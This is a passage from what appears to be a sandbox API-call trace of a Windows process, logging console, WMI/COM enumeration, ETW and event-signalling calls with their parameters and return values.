lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0142.776] GetConsoleOutputCP () returned 0x1b5 [0142.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0142.776] GetConsoleOutputCP () returned 0x1b5 [0142.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0142.776] GetConsoleOutputCP () returned 0x1b5 [0142.776] TranslateCharsetInfo (in: lpSrc=0x1b5, lpCs=0x572ebb4, dwFlags=0x2 | out: lpSrc=0x1b5, lpCs=0x572ebb4) returned 0 [0142.776] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572ec50 | out: lpConsoleScreenBufferInfo=0x572ec50) returned 1 [0142.777] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec48 | out: lpMode=0x572ec48) returned 1 [0142.777] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x2318708*, nNumberOfCharsToWrite=0x4f, lpNumberOfCharsWritten=0x572ec3c, lpReserved=0x0 | out: lpBuffer=0x2318708*, lpNumberOfCharsWritten=0x572ec3c*=0x4f) returned 1 [0142.777] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572ec48 | out: lpMode=0x572ec48) returned 1 [0142.778] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228e4d4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x572ec3c, lpReserved=0x0 | out: lpBuffer=0x228e4d4*, lpNumberOfCharsWritten=0x572ec3c*=0x2) returned 1 [0142.778] CoGetContextToken (in: pToken=0x572ee4c | out: pToken=0x572ee4c) returned 0x0 [0142.778] IEnumWbemClassObject:Clone (in: This=0x353660, ppEnum=0x572f004 | out: ppEnum=0x572f004*=0x353980) returned 0x0 [0142.795] IUnknown:QueryInterface (in: This=0x353980, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eec0 | out: ppvObject=0x572eec0*=0x353984) returned 0x0 [0142.796] IClientSecurity:QueryBlanket (in: This=0x353984, pProxy=0x353980, pAuthnSvc=0x572ef10, pAuthzSvc=0x572ef0c, pServerPrincName=0x572ef04, pAuthnLevel=0x572ef08, pImpLevel=0x572eef8, pAuthInfo=0x572eefc, pCapabilites=0x572ef00 | out: pAuthnSvc=0x572ef10*=0xa, pAuthzSvc=0x572ef0c*=0x0, pServerPrincName=0x572ef04, pAuthnLevel=0x572ef08*=0x6, pImpLevel=0x572eef8*=0x2, pAuthInfo=0x572eefc, pCapabilites=0x572ef00*=0x1) returned 0x0 [0142.796] IUnknown:Release (This=0x353984) returned 0x1 [0142.796] IUnknown:QueryInterface (in: This=0x353980, riid=0x6a8135a4*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eeb4 | out: ppvObject=0x572eeb4*=0x3b45e4) returned 0x0 [0142.796] IUnknown:QueryInterface (in: This=0x353980, riid=0x6a8135b4*(Data1=0x13d, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572eea0 | out: ppvObject=0x572eea0*=0x353984) returned 0x0 [0142.796] IClientSecurity:SetBlanket (This=0x353984, pProxy=0x353980, dwAuthnSvc=0xa, dwAuthzSvc=0x0, pServerPrincName=0x0, dwAuthnLevel=0x4, dwImpLevel=0x3, pAuthInfo=0x0, dwCapabilities=0x20) returned 0x0 [0142.804] IUnknown:Release (This=0x353984) returned 0x2 [0142.804] WbemLocator:IUnknown:Release (This=0x3b45e4) returned 0x1 [0142.804] CoTaskMemFree (pv=0x5c78e98) [0142.804] IUnknown:AddRef (This=0x353980) returned 0x2 [0142.804] CoGetContextToken (in: pToken=0x572e3d0 | out: pToken=0x572e3d0) returned 0x0 [0142.804] CoGetContextToken (in: pToken=0x572e7e4 | out: pToken=0x572e7e4) returned 0x0 [0142.805] IUnknown:QueryInterface (in: This=0x353980, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e77c | out: ppvObject=0x572e77c*=0x3b45cc) returned 0x0 [0142.805] WbemLocator:IRpcOptions:Query (in: This=0x3b45cc, pPrx=0x5c79ad0, dwProperty=2, pdwValue=0x572e870 | out: pdwValue=0x572e870) returned 0x80004002 [0142.805] WbemLocator:IUnknown:Release (This=0x3b45cc) returned 0x2 [0142.805] CoGetContextToken (in: pToken=0x572edb4 | out: pToken=0x572edb4) returned 0x0 [0142.805] CoGetContextToken (in: pToken=0x572ed14 | out: pToken=0x572ed14) returned 0x0 [0142.805] IUnknown:QueryInterface (in: This=0x353980, riid=0x572ede4*(Data1=0x27947e1, Data2=0xd731, Data3=0x11ce, Data4=([0]=0xa3, [1]=0x57, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x1)), ppvObject=0x572ecb0 | out: ppvObject=0x572ecb0*=0x353980) returned 0x0 [0142.805] IUnknown:Release (This=0x353980) returned 0x2 [0142.805] SysStringLen (param_1=0x0) returned 0x0 [0142.805] IEnumWbemClassObject:Reset (This=0x353980) returned 0x0 [0142.810] CoTaskMemAlloc (cb=0x4) returned 0x5c4f378 [0142.810] IEnumWbemClassObject:Next (in: This=0x353980, lTimeout=-1, uCount=0x1, apObjects=0x5c4f378, puReturned=0x23187ec | out: apObjects=0x5c4f378*=0x5c94c20, puReturned=0x23187ec*=0x1) returned 0x0 [0142.816] IUnknown:QueryInterface (in: This=0x5c94c20, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e65c | out: ppvObject=0x572e65c*=0x5c94c20) returned 0x0 [0142.816] IUnknown:QueryInterface (in: This=0x5c94c20, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x572e610 | out: ppvObject=0x572e610*=0x0) returned 0x80004002 [0142.816] IUnknown:QueryInterface (in: This=0x5c94c20, riid=0x713c1e84*(Data1=0xb196b283, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x572e438 | out: ppvObject=0x572e438*=0x0) returned 0x80004002 [0142.817] IUnknown:AddRef (This=0x5c94c20) returned 0x3 [0142.817] IUnknown:QueryInterface (in: This=0x5c94c20, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x572df6c | out: ppvObject=0x572df6c*=0x0) returned 0x80004002 [0142.817] IUnknown:QueryInterface (in: This=0x5c94c20, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x572df1c | out: ppvObject=0x572df1c*=0x0) returned 0x80004002 [0142.817] IUnknown:QueryInterface (in: This=0x5c94c20, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572df28 | out: ppvObject=0x572df28*=0x5c94c24) returned 0x0 [0142.817] IMarshal:GetUnmarshalClass (in: This=0x5c94c24, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x572df30 | out: pCid=0x572df30*(Data1=0x4590f812, Data2=0x1d3a, Data3=0x11d0, Data4=([0]=0x89, [1]=0x1f, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24))) returned 0x0 [0142.817] IUnknown:Release (This=0x5c94c24) returned 0x3 [0142.817] CoGetContextToken (in: pToken=0x572df88 | out: pToken=0x572df88) returned 0x0 [0142.817] CoGetContextToken (in: pToken=0x572e39c | out: pToken=0x572e39c) returned 0x0 [0142.817] IUnknown:QueryInterface (in: This=0x5c94c20, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x572e41c | out: ppvObject=0x572e41c*=0x0) returned 0x80004002 [0142.817] IUnknown:Release (This=0x5c94c20) returned 0x2 [0142.817] CoGetContextToken (in: pToken=0x572e984 | out: pToken=0x572e984) returned 0x0 [0142.817] CoGetContextToken (in: pToken=0x572e8e4 | out: pToken=0x572e8e4) returned 0x0 [0142.817] IUnknown:QueryInterface (in: This=0x5c94c20, riid=0x572e9b4*(Data1=0xdc12a681, Data2=0x737f, Data3=0x11cf, Data4=([0]=0x88, [1]=0x4d, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x4b, [6]=0x2e, [7]=0x24)), ppvObject=0x572e9b0 | out: ppvObject=0x572e9b0*=0x5c94c20) returned 0x0 [0142.817] IUnknown:AddRef (This=0x5c94c20) returned 0x4 [0142.817] IUnknown:Release (This=0x5c94c20) returned 0x3 [0142.817] IUnknown:Release (This=0x5c94c20) returned 0x2 [0142.817] CoTaskMemFree (pv=0x5c4f378) [0142.817] CoGetContextToken (in: pToken=0x572ecf4 | out: pToken=0x572ecf4) returned 0x0 [0142.818] IUnknown:AddRef (This=0x5c94c20) returned 0x3 [0142.818] CoTaskMemAlloc (cb=0x4) returned 0x5c4f378 [0142.818] IEnumWbemClassObject:Next (in: This=0x353980, lTimeout=-1, uCount=0x1, apObjects=0x5c4f378, puReturned=0x23187ec | out: apObjects=0x5c4f378*=0x0, puReturned=0x23187ec*=0x0) returned 0x1 [0142.820] CoTaskMemFree (pv=0x5c4f378) [0142.821] CoTaskMemAlloc (cb=0x4) returned 0x5c4f378 [0142.821] IEnumWbemClassObject:Next (in: This=0x353728, lTimeout=-1, uCount=0x1, apObjects=0x5c4f378, puReturned=0x22eb648 | out: apObjects=0x5c4f378*=0x0, puReturned=0x22eb648*=0x0) returned 0x1 [0142.822] CoTaskMemFree (pv=0x5c4f378) [0142.822] CoGetContextToken (in: pToken=0x572ef38 | out: pToken=0x572ef38) returned 0x0 [0142.822] IUnknown:Release (This=0x353728) returned 0x1 [0142.822] IUnknown:Release (This=0x353728) returned 0x0 [0142.826] CoGetContextToken (in: pToken=0x572ef38 | out: pToken=0x572ef38) returned 0x0 [0142.826] IUnknown:Release (This=0x353660) returned 0x1 [0142.826] IUnknown:Release (This=0x353660) returned 0x0 [0142.886] EtwEventActivityIdControl () returned 0x0 [0142.886] EtwEventActivityIdControl () returned 0x0 [0142.887] EtwEventActivityIdControl () returned 0x0 [0142.887] EtwEventActivityIdControl () returned 0x0 [0142.887] EtwEventActivityIdControl () returned 0x0 [0142.887] EtwEventActivityIdControl () returned 0x0 [0142.887] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572f144 | out: lpConsoleScreenBufferInfo=0x572f144) returned 1 [0142.888] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572f13c | out: lpMode=0x572f13c) returned 1 [0142.888] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228e4d4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x572f130, lpReserved=0x0 | out: lpBuffer=0x228e4d4*, lpNumberOfCharsWritten=0x572f130*=0x2) returned 1 [0142.888] GetConsoleScreenBufferInfo (in: hConsoleOutput=0xf, lpConsoleScreenBufferInfo=0x572f148 | out: lpConsoleScreenBufferInfo=0x572f148) returned 1 [0142.889] GetConsoleMode (in: hConsoleHandle=0xf, lpMode=0x572f140 | out: lpMode=0x572f140) returned 1 [0142.889] WriteConsoleW (in: hConsoleOutput=0xf, lpBuffer=0x228e4d4*, nNumberOfCharsToWrite=0x2, lpNumberOfCharsWritten=0x572f134, lpReserved=0x0 | out: lpBuffer=0x228e4d4*, lpNumberOfCharsWritten=0x572f134*=0x2) returned 1 [0142.889] EtwEventActivityIdControl () returned 0x0 [0142.889] EtwEventActivityIdControl () returned 0x0 [0142.889] EtwEventActivityIdControl () returned 0x0 [0142.889] EtwEventActivityIdControl () returned 0x0 [0142.890] SetEvent (hEvent=0x348) returned 1 [0142.890] SetEvent (hEvent=0x33c) returned 1 [0142.890] SetEvent (hEvent=0x340) returned 1 [0142.890] SetEvent (hEvent=0x344) returned 1 [0142.890] SetEvent (hEvent=0x358) returned 1 [0142.890] SetEvent (hEvent=0x34c) returned 1 [0142.890] SetEvent (hEvent=0x350) returned 1 [0142.890] SetEvent (hEvent=0x354) returned 1 [0142.890] SetEvent (hEvent=0x35c) returned 1 [0142.891] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572f650*=0x364, lpdwindex=0x572f474 | out: lpdwindex=0x572f474) returned 0x0 [0142.895] SetThreadUILanguage (LangId=0x0) returned 0x409 [0142.896] CoCreateGuid (in: pguid=0x572f4bc | out: pguid=0x572f4bc*(Data1=0x6d9652e8, Data2=0xe8e, Data3=0x47fb, Data4=([0]=0x9c, [1]=0xf, [2]=0x7f, [3]=0x2, [4]=0x65, [5]=0xba, [6]=0x86, [7]=0xa))) returned 0x0 [0142.897] QueryPerformanceCounter (in: lpPerformanceCount=0x572f49c | out: lpPerformanceCount=0x572f49c*=1178387402458) returned 1 [0142.905] QueryPerformanceCounter (in: lpPerformanceCount=0x572f464 | out: lpPerformanceCount=0x572f464*=1178388247981) returned 1 [0142.905] EtwEventActivityIdControl () returned 0x0 [0142.905] EtwEventActivityIdControl () returned 0x0 [0142.906] EtwEventActivityIdControl () returned 0x0 [0142.906] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x2, pHandles=0x572f010*=0x4c8, lpdwindex=0x572eed4 | out: lpdwindex=0x572eed4) returned 0x0 [0142.907] SetEvent (hEvent=0x4cc) returned 1 [0142.907] SetEvent (hEvent=0x4c8) returned 1 [0142.907] EtwEventActivityIdControl () returned 0x0 [0142.907] SetEvent (hEvent=0x59c) returned 1 [0142.907] SetEvent (hEvent=0x4cc) returned 1 [0142.907] SetEvent (hEvent=0x4c8) returned 1 [0142.907] SetEvent (hEvent=0x5ac) returned 1 [0142.907] SetEvent (hEvent=0x5a0) returned 1 [0142.907] SetEvent (hEvent=0x5a4) returned 1 [0142.908] SetEvent (hEvent=0x5a8) returned 1 [0142.908] SetEvent (hEvent=0x5b0) returned 1 [0142.908] CoWaitForMultipleHandles (in: dwFlags=0x2, dwTimeout=0xffffffff, cHandles=0x1, pHandles=0x572f650*=0x364, lpdwindex=0x572f474 | out: lpdwindex=0x572f474) returned 0x0 [0142.944] CoGetContextToken (in: pToken=0x572fa3c | out: pToken=0x572fa3c) returned 0x0 [0142.944] CoGetContextToken (in: pToken=0x572f434 | out: pToken=0x572f434) returned 0x0 [0142.944] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.944] WbemStatusCodeText:IUnknown:Release (This=0x5c589b8) returned 0x1 [0142.944] WbemStatusCodeText:IUnknown:Release (This=0x5c589b8) returned 0x0 [0142.945] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c68808) returned 0x1 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c68808) returned 0x0 [0142.945] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.945] IUnknown:Release (This=0x5c94c20) returned 0x2 [0142.945] IUnknown:Release (This=0x5c94c20) returned 0x1 [0142.945] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c589a8) returned 0x1 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c589a8) returned 0x0 [0142.945] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c58778) returned 0x1 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c58778) returned 0x0 [0142.945] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c4f258) returned 0x1 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c4f258) returned 0x0 [0142.945] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c687f8) returned 0x1 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c687f8) returned 0x0 [0142.945] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c4f168) returned 0x1 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c4f168) returned 0x0 [0142.945] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c58798) returned 0x1 [0142.945] WbemStatusCodeText:IUnknown:Release (This=0x5c58798) returned 0x0 [0142.945] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.946] IUnknown:Release (This=0x3537f0) returned 0x1 [0142.946] IUnknown:Release (This=0x3537f0) returned 0x0 [0142.953] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.953] IUnknown:Release (This=0x353980) returned 0x1 [0142.953] IUnknown:Release (This=0x353980) returned 0x0 [0142.960] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.960] WbemStatusCodeText:IUnknown:Release (This=0x5c58768) returned 0x1 [0142.960] WbemStatusCodeText:IUnknown:Release (This=0x5c58768) returned 0x0 [0142.960] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.960] IUnknown:Release (This=0x5c8ed30) returned 0x2 [0142.961] IUnknown:Release (This=0x5c8ed30) returned 0x1 [0142.961] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.961] IUnknown:Release (This=0x5c79be0) returned 0x2 [0142.961] IUnknown:Release (This=0x5c79be0) returned 0x1 [0142.961] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.961] WbemStatusCodeText:IUnknown:Release (This=0x5c68878) returned 0x1 [0142.961] WbemStatusCodeText:IUnknown:Release (This=0x5c68878) returned 0x0 [0142.961] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.961] WbemStatusCodeText:IUnknown:Release (This=0x5c687e8) returned 0x1 [0142.961] WbemStatusCodeText:IUnknown:Release (This=0x5c687e8) returned 0x0 [0142.961] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.961] WbemStatusCodeText:IUnknown:Release (This=0x5c4f388) returned 0x1 [0142.961] WbemStatusCodeText:IUnknown:Release (This=0x5c4f388) returned 0x0 [0142.961] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.961] IUnknown:Release (This=0x353278) returned 0x1 [0142.961] IUnknown:Release (This=0x353278) returned 0x0 [0142.982] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.982] WbemStatusCodeText:IUnknown:Release (This=0x5c58758) returned 0x1 [0142.982] WbemStatusCodeText:IUnknown:Release (This=0x5c58758) returned 0x0 [0142.982] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.982] WbemStatusCodeText:IUnknown:Release (This=0x5c4f268) returned 0x1 [0142.982] WbemStatusCodeText:IUnknown:Release (This=0x5c4f268) returned 0x0 [0142.982] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.982] IUnknown:Release (This=0x5c88840) returned 0x2 [0142.982] IUnknown:Release (This=0x5c88840) returned 0x1 [0142.982] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.982] WbemStatusCodeText:IUnknown:Release (This=0x5c687b8) returned 0x1 [0142.982] WbemStatusCodeText:IUnknown:Release (This=0x5c687b8) returned 0x0 [0142.982] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.982] IUnknown:Release (This=0x5c506a0) returned 0x2 [0142.982] IUnknown:Release (This=0x5c506a0) returned 0x1 [0142.982] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.982] WbemStatusCodeText:IUnknown:Release (This=0x5c687d8) returned 0x1 [0142.982] WbemStatusCodeText:IUnknown:Release (This=0x5c687d8) returned 0x0 [0142.982] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.983] IUnknown:Release (This=0x5c50300) returned 0x2 [0142.983] IUnknown:Release (This=0x5c50300) returned 0x1 [0142.983] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.983] WbemStatusCodeText:IUnknown:Release (This=0x5c589c8) returned 0x1 [0142.983] WbemStatusCodeText:IUnknown:Release (This=0x5c589c8) returned 0x0 [0142.983] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.983] WbemStatusCodeText:IUnknown:Release (This=0x5c4f3e8) returned 0x1 [0142.983] WbemStatusCodeText:IUnknown:Release (This=0x5c4f3e8) returned 0x0 [0142.983] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.983] IUnknown:Release (This=0x3b08c8) returned 0x2 [0142.983] IUnknown:Release (This=0x3b08c8) returned 0x1 [0142.983] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0142.983] IUnknown:Release (This=0x3538b8) returned 0x1 [0142.983] IUnknown:Release (This=0x3538b8) returned 0x0 [0143.026] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0143.027] WbemStatusCodeText:IUnknown:Release (This=0x5c58788) returned 0x1 [0143.027] WbemStatusCodeText:IUnknown:Release (This=0x5c58788) returned 0x0 [0143.027] CoGetContextToken (in: pToken=0x572f3b8 | out: pToken=0x572f3b8) returned 0x0 [0143.027] WbemStatusCodeText:IUnknown:Release (This=0x5c687c8) returned 0x1 [0143.027] WbemStatusCodeText:IUnknown:Release (This=0x5c687c8) returned 0x0 [0143.027] IUnknown:Release (This=0x342a60) returned 0x0 [0143.027] CoUninitialize () Thread: id = 63 os_tid = 0xcf0 Thread: id = 66 os_tid = 0x900 Thread: id = 67 os_tid = 0x904 Thread: id = 71 os_tid = 0xd04 Thread: id = 75 os_tid = 0xd24 [0113.776] CoGetContextToken (in: pToken=0x5abfe1c | out: pToken=0x5abfe1c) returned 0x0 [0113.777] CObjectContext::QueryInterface () returned 0x0 [0113.777] CObjectContext::GetCurrentThreadType () returned 0x0 [0113.777] Release () returned 0x0 [0113.777] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 Thread: id = 77 os_tid = 0xd30 Thread: id = 80 os_tid = 0xd14 Thread: id = 83 os_tid = 0xd34 [0119.700] CoInitializeEx (pvReserved=0x0, dwCoInit=0x0) returned 0x0 [0119.717] IIDFromString (in: lpsz="{CF4CC405-E2C5-4DDD-B3CE-5E7582D8C9FA}", lpiid=0x5b6f15c | out: lpiid=0x5b6f15c) returned 0x0 [0119.720] CoGetClassObject (in: rclsid=0x3e60d4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x5b6ee78 | out: ppv=0x5b6ee78*=0x5c4f128) returned 0x0 [0120.154] WbemDefPath:IUnknown:QueryInterface (in: This=0x5c4f128, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x5b6f090 | out: ppvObject=0x5b6f090*=0x0) returned 0x80004002 [0120.154] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5c4f128, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6f09c | out: ppvObject=0x5b6f09c*=0x37b4a8) returned 0x0 [0120.155] WbemDefPath:IUnknown:Release (This=0x5c4f128) returned 0x0 [0120.155] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b4a8, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6ecbc | out: ppvObject=0x5b6ecbc*=0x37b4a8) returned 0x0 [0120.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b4a8, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x5b6ec70 | out: ppvObject=0x5b6ec70*=0x0) returned 0x80004002 [0120.156] WbemDefPath:IUnknown:AddRef (This=0x37b4a8) returned 0x3 [0120.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b4a8, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x5b6e5cc | out: ppvObject=0x5b6e5cc*=0x0) returned 0x80004002 [0120.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b4a8, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x5b6e57c | out: ppvObject=0x5b6e57c*=0x0) returned 0x80004002 [0120.156] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b4a8, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x5b6e588 | out: ppvObject=0x5b6e588*=0x5c4f138) returned 0x0 [0120.157] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5c4f138, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x5b6e590 | out: pCid=0x5b6e590*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0120.157] WbemDefPath:IUnknown:Release (This=0x5c4f138) returned 0x3 [0120.157] CoGetContextToken (in: pToken=0x5b6e5e8 | out: pToken=0x5b6e5e8) returned 0x0 [0120.157] CoGetContextToken (in: pToken=0x5b6e9fc | out: pToken=0x5b6e9fc) returned 0x0 [0120.157] WbemDefPath:IUnknown:QueryInterface (in: This=0x37b4a8, riid=0x713c1aa8*(Data1=0x144, 